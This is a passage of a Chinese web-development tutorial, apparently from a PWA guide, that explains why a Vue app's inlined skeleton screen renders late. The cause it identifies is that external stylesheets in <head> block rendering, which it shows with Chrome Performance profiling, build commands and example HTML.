class=\"token comment\">&lt;!-- Vue &#x5B9E;&#x4F8B;&#x6302;&#x8F7D;&#x70B9; --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">id</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>app<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>skeleton<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token comment\">&lt;!-- &#x4E0A;&#x534A;&#x90E8;&#x5206;&#x56FE;&#x7247;&#x7684;&#x5360;&#x4F4D;&#x91C7;&#x7528;&#x7F29;&#x5C0F;&#x7684;&#x56FE;&#x7247; --&gt;</span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>img</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>data:image/png;base64,...<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">/&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>skeleton-section<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n      <span class=\"token comment\">&lt;!-- &#x4E2D;&#x95F4;&#x5185;&#x5BB9;&#x533A;&#x57DF;&#x91C7;&#x7528;&#x6587;&#x5B57;&#x7C7B;&#x578B;&#x7684;&#x9AA8;&#x67B6;&#x5360;&#x4F4D; --&gt;</span>\n      <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>img</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>data:image/svg+xml;base64,...<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n      <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>img</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>data:image/svg+xml;base64,...<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n    <span class=\"token comment\">&lt;!-- &#x5E95;&#x90E8;&#x5BFC;&#x822A;&#x680F;&#x91C7;&#x7528;&#x7A7A;&#x7684;&#x7ED3;&#x6784;&#x5360;&#x4F4D; --&gt;</span>\n    <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>skeleton-bottom<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x586B;&#x5199;&#x5B8C;&#x6210;&#x4E4B;&#x540E;&#xFF0C;&#x5237;&#x65B0;&#x9875;&#x9762;&#x60A8;&#x80FD;&#x770B;&#x5230;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x7684;&#x9AA8;&#x67B6;&#x5C4F;&#x3002;</p>\n<p><img src=\"img/chapter02_demo_skeleton.png\" width=\"50%\" alt=\"Chapter02 demo &#x9AA8;&#x67B6;&#x5C4F;&#x793A;&#x610F;&#x56FE;\" title=\"Chapter02 demo &#x9AA8;&#x67B6;&#x5C4F;&#x793A;&#x610F;&#x56FE;\"></p>\n<h2 id=\"&#x8FDB;&#x9636;&#x4F18;&#x5316;&#xFF1A;&#x66F4;&#x5FEB;&#x7684;&#x5C55;&#x73B0;&#x9AA8;&#x67B6;&#x5C4F;\"><a name=\"&#x8FDB;&#x9636;&#x4F18;&#x5316;&#xFF1A;&#x66F4;&#x5FEB;&#x7684;&#x5C55;&#x73B0;&#x9AA8;&#x67B6;&#x5C4F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8FDB;&#x9636;&#x4F18;&#x5316;&#xFF1A;&#x66F4;&#x5FEB;&#x7684;&#x5C55;&#x73B0;&#x9AA8;&#x67B6;&#x5C4F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8FDB;&#x9636;&#x4F18;&#x5316;&#xFF1A;&#x66F4;&#x5FEB;&#x7684;&#x5C55;&#x73B0;&#x9AA8;&#x67B6;&#x5C4F;\" class=\"plugin-anchor\" href=\"#&#x8FDB;&#x9636;&#x4F18;&#x5316;&#xFF1A;&#x66F4;&#x5FEB;&#x7684;&#x5C55;&#x73B0;&#x9AA8;&#x67B6;&#x5C4F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8FDB;&#x9636;&#x4F18;&#x5316;&#xFF1A;&#x66F4;&#x5FEB;&#x7684;&#x5C55;&#x73B0;&#x9AA8;&#x67B6;&#x5C4F;</h2>\n<p>&#x5728;&#x4E0A;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x4E2D;&#xFF0C;&#x4E3A;&#x4E86;&#x8BA9;&#x9AA8;&#x67B6;&#x5C4F;&#x5C3D;&#x65E9;&#x5C55;&#x73B0;&#xFF0C;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x505A;&#x5230;&#x4EE5;&#x4E0B;&#x4E24;&#x70B9;&#xFF1A;</p>\n<ol>\n<li>&#x628A;&#x9AA8;&#x67B6;&#x5C4F;&#x7684; HTML &#x5185;&#x8054;&#x5728; <code>index.html</code> &#x4E2D;&#xFF0C;&#x800C;&#x4E0D;&#x662F;&#x7528; JavaScript &#x6765;&#x6E32;&#x67D3;</li>\n<li>&#x9AA8;&#x67B6;&#x5C4F;&#x7684; CSS &#x6700;&#x597D;&#x5185;&#x8054;&#xFF0C;&#x4FDD;&#x8BC1;&#x9AA8;&#x67B6;&#x5C4F;&#x5728;&#x6700;&#x77ED;&#x7684;&#x65F6;&#x95F4;&#x5185;&#x6E32;&#x67D3;</li>\n</ol>\n<p>&#x53EF;&#x60DC;&#x7684;&#x662F;&#xFF0C;&#x5C3D;&#x7BA1;&#x6211;&#x4EEC;&#x8FD9;&#x4E48;&#x505A;&#x4E86;&#xFF0C;&#x4E5F;&#x4E0D;&#x4E00;&#x5B9A;&#x80FD;&#x53D6;&#x5F97;&#x60F3;&#x8981;&#x7684;&#x7ED3;&#x679C;&#xFF0C;&#x901A;&#x8FC7;&#x5B9E;&#x9645;&#x6D4B;&#x8BD5;&#x4F1A;&#x53D1;&#x73B0;&#x9AA8;&#x67B6;&#x5C4F;&#x5F88;&#x96BE;&#x88AB;&#x7528;&#x6237;&#x770B;&#x5230;&#xFF0C;&#x6216;&#x8005;&#x8BF4;&#x5B83;&#x5C55;&#x793A;&#x7684;&#x65F6;&#x95F4;&#x4E0D;&#x5982;&#x9884;&#x671F;&#x7684;&#x65E9;&#x3002;</p>\n<h3 id=\"&#x73B0;&#x72B6;&#x5206;&#x6790;\"><a name=\"&#x73B0;&#x72B6;&#x5206;&#x6790;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x73B0;&#x72B6;&#x5206;&#x6790;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x73B0;&#x72B6;&#x5206;&#x6790;\" class=\"plugin-anchor\" href=\"#&#x73B0;&#x72B6;&#x5206;&#x6790;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x73B0;&#x72B6;&#x5206;&#x6790;</h3>\n<p>&#x6211;&#x4EEC;&#x5728;&#x4E0A;&#x9762;&#x7684;&#x793A;&#x4F8B;&#x57FA;&#x7840;&#x4E0A;&#x6765;&#x5206;&#x6790;&#x4E00;&#x4E0B;&#x539F;&#x56E0;&#x662F;&#x4EC0;&#x4E48;&#x3002;&#x7528; Chrome &#x8C03;&#x8BD5;&#x5DE5;&#x5177;&#x4E2D;&#x7684; Performance &#x8BB0;&#x5F55;&#x6E32;&#x67D3;&#x6D41;&#x7A0B;&#xFF0C;&#x4E3A;&#x4E86;&#x7B80;&#x5355;&#x4E00;&#x4E9B;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5C06;&#x7F51;&#x7EDC;&#x8BBE;&#x7F6E;&#x6210; Slow 3G&#xFF0C;&#x4F1A;&#x6BD4;&#x8F83;&#x660E;&#x663E;&#x7684;&#x53D1;&#x73B0;&#x9AA8;&#x67B6;&#x5C4F;&#x51FA;&#x73B0;&#x7684;&#x65F6;&#x95F4;&#x975E;&#x5E38;&#x77ED;&#x3002;</p>\n<blockquote>\n<p>&#x4E3A;&#x4E86;&#x66F4;&#x63A5;&#x8FD1;&#x751F;&#x4EA7;&#x73AF;&#x5883;&#xFF0C;&#x5148;&#x5C06;&#x793A;&#x4F8B;&#x7F16;&#x8BD1;&#x4E4B;&#x540E;&#x518D;&#x8C03;&#x8BD5;&#x3002;</p>\n</blockquote>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token comment\"># &#x5728; chapter02/appskeleton-01 &#x76EE;&#x5F55;&#x4E2D;</span>\n<span class=\"token comment\"># &#x7F16;&#x8BD1;</span>\n$ <span class=\"token function\">npm</span> run build\n<span class=\"token comment\"># &#x8FDB;&#x5165;&#x5230;&#x7F16;&#x8BD1;&#x540E;&#x7684; dist &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">cd</span> dist\n<span class=\"token comment\"># &#x5B89;&#x88C5;&#x9759;&#x6001;&#x6587;&#x4EF6;&#x8C03;&#x8BD5;&#x670D;&#x52A1;</span>\n$ <span class=\"token function\">npm</span> <span class=\"token function\">install</span> -g edp\n<span class=\"token comment\"># &#x5728; dist &#x76EE;&#x5F55;&#x4E2D;&#x542F;&#x52A8;&#x672C;&#x5730;&#x9759;&#x6001;&#x6587;&#x4EF6;&#x670D;&#x52A1;</span>\n$ edp ws start\n</code></pre>\n<p>&#x6253;&#x5F00; Chrome &#x6D4F;&#x89C8;&#x5668;&#x8BBF;&#x95EE; <code>http://localhost:8848</code>&#x3002;&#x4E0B;&#x56FE;&#x662F;&#x7B14;&#x8005;&#x7528;&#x8C03;&#x8BD5;&#x5DE5;&#x5177;&#x8BB0;&#x5F55;&#x7684;&#x9875;&#x9762;&#x6E32;&#x67D3;&#x6D41;&#x7A0B;&#xFF0C;&#x53D1;&#x73B0;&#x9875;&#x9762;&#x7B2C;&#x4E00;&#x6B21;&#x6E32;&#x67D3;&#x662F;&#x5728; <code>app.*.css</code> &#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#x4E4B;&#x540E;&#x3002;</p>\n<p><img src=\"img/appskeleton_performance.png\" alt=\"&#x9AA8;&#x67B6;&#x5C4F;&#x6E32;&#x67D3;&#x88AB;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x52A0;&#x8F7D;&#x963B;&#x585E;\"></p>\n<p>&#x6309;&#x7167;&#x9884;&#x60F3;&#xFF0C;&#x9AA8;&#x67B6;&#x5C4F;&#x5E94;&#x8BE5;&#x5728; HTML &#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#x4E4B;&#x540E;&#x7ACB;&#x523B;&#x6E32;&#x67D3;&#x51FA;&#x6765;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x83B7;&#x53D6;&#x5916;&#x94FE;&#x8D44;&#x6E90;&#x7684;&#x540C;&#x65F6;&#xFF0C;&#x8FD9;&#x4E5F;&#x662F;&#x4E3A;&#x4EC0;&#x4E48;&#x6211;&#x4EEC;&#x628A;&#x9AA8;&#x67B6;&#x5C4F;&#x7684; HTML &#x548C;&#x6837;&#x5F0F;&#x90FD;&#x5185;&#x8054;&#x7684;&#x539F;&#x56E0;&#xFF0C;&#x7136;&#x800C;&#x4E8B;&#x4E0E;&#x613F;&#x8FDD;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5E76;&#x4E0D;&#x4E70;&#x8D26;&#x3002;</p>\n<h3 id=\"&#x6D4F;&#x89C8;&#x5668;&#x505A;&#x4E86;&#x4EC0;&#x4E48;\"><a name=\"&#x6D4F;&#x89C8;&#x5668;&#x505A;&#x4E86;&#x4EC0;&#x4E48;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6D4F;&#x89C8;&#x5668;&#x505A;&#x4E86;&#x4EC0;&#x4E48;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6D4F;&#x89C8;&#x5668;&#x505A;&#x4E86;&#x4EC0;&#x4E48;\" class=\"plugin-anchor\" href=\"#&#x6D4F;&#x89C8;&#x5668;&#x505A;&#x4E86;&#x4EC0;&#x4E48;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6D4F;&#x89C8;&#x5668;&#x505A;&#x4E86;&#x4EC0;&#x4E48;</h3>\n<p>&#x719F;&#x6089;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x5F00;&#x53D1;&#x8005;&#x5F88;&#x5FEB;&#x5C31;&#x80FD;&#x7406;&#x89E3;&#xFF0C;&#x8FD9;&#x4E0E;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x6E32;&#x67D3;&#x987A;&#x5E8F;&#x6709;&#x5173;&#x3002;</p>\n<p>&#x76F8;&#x4FE1;&#x5927;&#x5BB6;&#x90FD;&#x6574;&#x7406;&#x8FC7;&#x884C;&#x674E;&#x7BB1;&#x3002;&#x5728;&#x6574;&#x7406;&#x884C;&#x674E;&#x7BB1;&#x65F6;&#xFF0C;&#x4F1A;&#x6839;&#x636E;&#x6BCF;&#x4E2A;&#x884C;&#x674E;&#x7684;&#x5927;&#x5C0F;&#x5408;&#x7406;&#x5B89;&#x6392;&#xFF0C;&#x5927;&#x7684;&#x548C;&#x5C0F;&#x7684;&#x914D;&#x5408;&#xFF0C;&#x586B;&#x6EE1;&#x4E00;&#x5C42;&#x518D;&#x6574;&#x7406;&#x4E0A;&#x9762;&#x4E00;&#x5C42;&#x3002;&#x5982;&#x679C;&#x7A81;&#x7136;&#x6709;&#x4EBA;&#x8DD1;&#x6765;&#x548C;&#x4F60;&#x8BF4;&#x7535;&#x8111;&#x4E0D;&#x7528;&#x5E26;&#x4E86;&#xFF0C;&#x8981;&#x591A;&#x5E26;&#x4E24;&#x4EF6;&#x8863;&#x670D;&#xFF0C;&#x8FD9;&#x65F6;&#x9664;&#x4E86;&#x60F3;&#x6253;&#x4ED6;&#x4E4B;&#x5916;&#xFF0C;&#x4F60;&#x8FD8;&#x9700;&#x8981;&#x91CD;&#x65B0;&#x5B89;&#x6392;&#x884C;&#x674E;&#x3002;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#xFF0C;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&#x53EB;&#x505A;&#x91CD;&#x6392;&#xFF08;reflow&#xFF09;&#xFF0C;&#x800C;&#x90A3;&#x4E2A;&#x998A;&#x4E3B;&#x610F;&#x5C31;&#x662F;&#x65B0;&#x52A0;&#x8F7D;&#x7684;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x3002;&#x663E;&#x800C;&#x6613;&#x89C1;&#xFF0C;&#x91CD;&#x6392;&#x7684;&#x5F00;&#x9500;&#x662F;&#x5F88;&#x5927;&#x7684;&#xFF0C;&#x9700;&#x8981;&#x5C3D;&#x529B;&#x907F;&#x514D;&#x3002;</p>\n<p>&#x65E2;&#x7136;&#x6BCF;&#x4E2A; CSS &#x6587;&#x4EF6;&#x90FD;&#x53EF;&#x80FD;&#x4F1A;&#x89E6;&#x53D1;&#x91CD;&#x6392;&#x548C;&#x91CD;&#x7ED8;&#xFF0C;&#x90A3;&#x7D22;&#x6027;&#x7B49;&#x5F85; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span></code> &#x4E2D;&#x6240;&#x6709;&#x7684;&#x5916;&#x94FE;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#x4E4B;&#x540E;&#x518D;&#x6E32;&#x67D3;&#xFF0C;&#x8FD9;&#x4E2A;&#x6D41;&#x7A0B;&#x672C;&#x8EAB;&#x662F;&#x6CA1;&#x6709;&#x95EE;&#x9898;&#x7684;&#xFF0C;&#x5374;&#x5728;&#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x5E94;&#x7528;&#x4E2D;&#x51FA;&#x4E86;&#x4E00;&#x4E9B;&#x95EE;&#x9898;&#x3002;</p>\n<p>&#x9875;&#x9762;&#x4ECE;&#x52A0;&#x8F7D;&#x5230;&#x5C55;&#x73B0;&#x7684;&#x5927;&#x81F4;&#x987A;&#x5E8F;&#x5982;&#x4E0B;&#xFF1A;</p>\n<ol>\n<li>&#x52A0;&#x8F7D; HTML &#x6587;&#x4EF6;</li>\n<li>&#x89E3;&#x6790; DOM</li>\n<li>&#x5E76;&#x884C;&#x52A0;&#x8F7D; CSS/JS &#x8D44;&#x6E90;</li>\n<li>&#x5982;&#x679C; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span></code> &#x4E2D;&#x5B58;&#x5728;&#x5916;&#x94FE;&#x7684;&#x6837;&#x5F0F;&#xFF0C;&#x5219;&#x963B;&#x585E;&#x6E32;&#x67D3;&#x7B49;&#x5F85;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x52A0;&#x8F7D;&#x5E76;&#x89E3;&#x6790;&#x5B8C;&#x6210;</li>\n<li>&#x5982;&#x679C; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span></code> &#x4E2D;&#x5B58;&#x5728;&#x5916;&#x94FE;&#x7684; script&#xFF0C;&#x5219;&#x963B;&#x585E;&#x6E32;&#x67D3;&#x7B49;&#x5F85; script &#x6587;&#x4EF6;&#x52A0;&#x8F7D;&#x5E76;&#x6267;&#x884C;&#x5B8C;&#x6210;</li>\n</ol>\n<p>&#x5728; Vue &#x7684;&#x9879;&#x76EE;&#x7F16;&#x8BD1;&#x5B8C;&#x6210;&#x4E4B;&#x540E;&#xFF0C;<code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x4E2D;&#x7684;&#x7ED3;&#x6784;&#x5982;&#x4E0B;&#xFF0C;&#x5728; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x4E2D;&#x63D2;&#x5165;&#x4E86;&#x4E00;&#x4E2A;&#x5916;&#x94FE;&#x7684;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#xFF0C;&#x5BFC;&#x81F4;&#x9AA8;&#x67B6;&#x5C4F;&#x6E32;&#x67D3;&#x63A8;&#x540E;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">charset</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span>utf-8</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">name</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span>viewport</span> <span class=\"token attr-name\">content</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>width=device-width,initial-scale=1<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span>manifest</span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span>/static/manifest.json</span><span class=\"token punctuation\">&gt;</span></span> <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>title</span><span class=\"token punctuation\">&gt;</span></span>PWA Chapter02 Demo - App Skeleton<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>title</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token style\"><span class=\"token language-css\">\n    <span class=\"token selector\">body</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token property\">margin</span><span class=\"token punctuation\">:</span> 0<span class=\"token punctuation\">;</span>\n      <span class=\"token property\">padding-top</span><span class=\"token punctuation\">:</span> 60px<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token selector\">.skeleton</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token property\">text-align</span><span class=\"token punctuation\">:</span> center<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token selector\">.skeleton-bottom</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token property\">position</span><span class=\"token punctuation\">:</span> fixed<span class=\"token punctuation\">;</span>\n      <span class=\"token property\">bottom</span><span class=\"token punctuation\">:</span> 0<span class=\"token punctuation\">;</span>\n      <span class=\"token property\">left</span><span class=\"token punctuation\">:</span> 0<span class=\"token punctuation\">;</span>\n      <span class=\"token property\">right</span><span class=\"token punctuation\">:</span> 0<span class=\"token punctuation\">;</span>\n      <span class=\"token property\">height</span><span class=\"token punctuation\">:</span> 56px<span class=\"token punctuation\">;</span>\n      <span class=\"token property\">box-shadow</span><span class=\"token punctuation\">:</span> 0 3px 14px 2px <span class=\"token function\">rgba</span><span class=\"token punctuation\">(</span>0<span class=\"token punctuation\">,</span> 0<span class=\"token punctuation\">,</span> 0<span class=\"token punctuation\">,</span> .12<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token property\">display</span><span class=\"token punctuation\">:</span> flex<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n  </span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>style</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token comment\">&lt;!-- &#x7F16;&#x8BD1;&#x540E;&#x63D2;&#x5165;&#x5728; head &#x4E2D;&#x7684;&#x5916;&#x94FE;&#x6837;&#x5F0F;&#x6587;&#x4EF6; --&gt;</span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span>/static/css/app.5be76b7d213b43df9723e8ab15122efb.css</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span>stylesheet</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x4E3A;&#x4E86;&#x5C3D;&#x65E9;&#x5C55;&#x73B0;&#x9AA8;&#x67B6;&#x5C4F;&#xFF0C;&#x6211;&#x4EEC;&#x5C06;&#x9AA8;&#x67B6;&#x5C4F;&#x6E32;&#x67D3;&#x6240;&#x9700;&#x7684;&#x6837;&#x5F0F;&#x548C; HTML &#x5185;&#x8054;&#xFF0C;&#x5374;&#x88AB;&#x9875;&#x9762;&#x4E2D;&#x5176;&#x4ED6;&#x7684;&#x5916;&#x94FE;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x963B;&#x585E;&#x4E86;&#x6E32;&#x67D3;&#x3002;&#x62FF;&#x4E0A;&#x4E00;&#x8282;&#x4E2D;&#x7684; Vue &#x793A;&#x4F8B;&#x6765;&#x4E3E;&#x4F8B;&#xFF0C;&#x7531;&#x4E8E;&#x6D4F;&#x89C8;&#x5668;&#x89E3;&#x6790;&#x5B8C; DOM &#x4E4B;&#x540E;&#x662F;&#x5E76;&#x884C;&#x52A0;&#x8F7D;&#x5916;&#x94FE;&#x8D44;&#x6E90;&#x7684;&#xFF0C;&#x6240;&#x4EE5;&#x5728;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#x4E4B;&#x540E;&#xFF0C;JavaScript &#x6587;&#x4EF6;&#x4E5F;&#x57FA;&#x672C;&#x5DF2;&#x7ECF;&#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x9AA8;&#x67B6;&#x5C4F;&#x771F;&#x7684;&#x6E32;&#x67D3;&#x51FA;&#x6765;&#x4E4B;&#x540E;&#x6CA1;&#x591A;&#x4E45;&#x5C31;&#x88AB; JavaScript &#x6E32;&#x67D3;&#x7684;&#x771F;&#x6B63;&#x5185;&#x5BB9;&#x53D6;&#x4EE3;&#xFF0C;&#x8FD9;&#x5C31;&#x662F;&#x4E3A;&#x4EC0;&#x4E48;&#x9AA8;&#x67B6;&#x5C4F;&#x51FA;&#x73B0;&#x975E;&#x5E38;&#x9760;&#x540E;&#xFF0C;&#x6548;&#x679C;&#x5927;&#x6253;&#x6298;&#x6263;&#x3002;</p>\n<p>&#x6240;&#x4EE5;&#xFF0C;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x544A;&#x8BC9;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x8BF7;&#x653E;&#x5FC3;&#x5927;&#x80C6;&#x7684;&#x5148;&#x6E32;&#x67D3;&#x9AA8;&#x67B6;&#x5C4F;&#x3002;</p>\n<h3 id=\"&#x907F;&#x514D;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x7684;&#x52A0;&#x8F7D;&#x963B;&#x585E;&#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x6E32;&#x67D3;\"><a name=\"&#x907F;&#x514D;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x7684;&#x52A0;&#x8F7D;&#x963B;&#x585E;&#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x6E32;&#x67D3;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x907F;&#x514D;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x7684;&#x52A0;&#x8F7D;&#x963B;&#x585E;&#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x6E32;&#x67D3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x907F;&#x514D;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x7684;&#x52A0;&#x8F7D;&#x963B;&#x585E;&#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x6E32;&#x67D3;\" class=\"plugin-anchor\" href=\"#&#x907F;&#x514D;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x7684;&#x52A0;&#x8F7D;&#x963B;&#x585E;&#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x6E32;&#x67D3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x907F;&#x514D;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x7684;&#x52A0;&#x8F7D;&#x963B;&#x585E;&#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x6E32;&#x67D3;</h3>\n<p>Webpack &#x7F16;&#x8BD1;&#x7684; Vue &#x9879;&#x76EE;&#xFF0C;&#x4F1A;&#x5728; <code>index.html</code> &#x7684; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span></code> &#x63D2;&#x5165;&#x5916;&#x94FE;&#x7684;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#xFF0C;<code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">ref</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>stylesheet<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>http://xxxx<span class=\"token punctuation\">&quot;</span></span><span class=\"token 